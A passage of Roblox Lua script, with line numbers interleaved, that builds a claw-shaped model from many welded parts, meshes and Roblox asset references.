694
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
695
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
696
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
697
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
698
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
699
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
700
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
701
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
702
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
703
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
704
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
705
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
706
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
707
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
708
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
709
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
710
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
711
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
712
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
713
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
714
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
715
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
716
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
717
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
718
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
719
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
720
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
721
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
722
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
723
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
724
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
725
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
726
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
727
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
728
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
729
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
730
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
731
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
732
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
733
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
734
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
735
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
736
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
737
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
738
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
739
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
740
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
741
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
742
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
743
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
744
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
745
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
746
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
747
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
748
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
749
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
750
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
751
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
752
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
753
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
754
Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
755
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
756
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
757
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
758
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
759
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
760
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
761
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
762
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
763
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
764
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
765
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
766
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
767
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
768
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
769
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
770
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
771
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
772
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
773
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
774
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
775
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
776
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
777
CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
778
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
779
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
780
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
781
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
782
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
783
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
784
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
785
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
786
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
787
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
788
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
789
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
790
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
791
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
792
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
793
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
794
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
795
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
796
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
797
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
798
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
799
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
800
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
801
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
802
MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
803
MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
804
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
805
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
806
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
807
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
808
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
809
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
810
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
811
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
812
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
813
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
814
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
815
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
816
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
817
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
818
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
819
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
820
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
821
ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
822
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
823
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
824
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
825
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
826
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
827
MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
828
MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
829
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
830
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
831
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
832
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
833
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
834
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
835
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
836
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
837
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
838
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
839
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
840
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
841
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
842
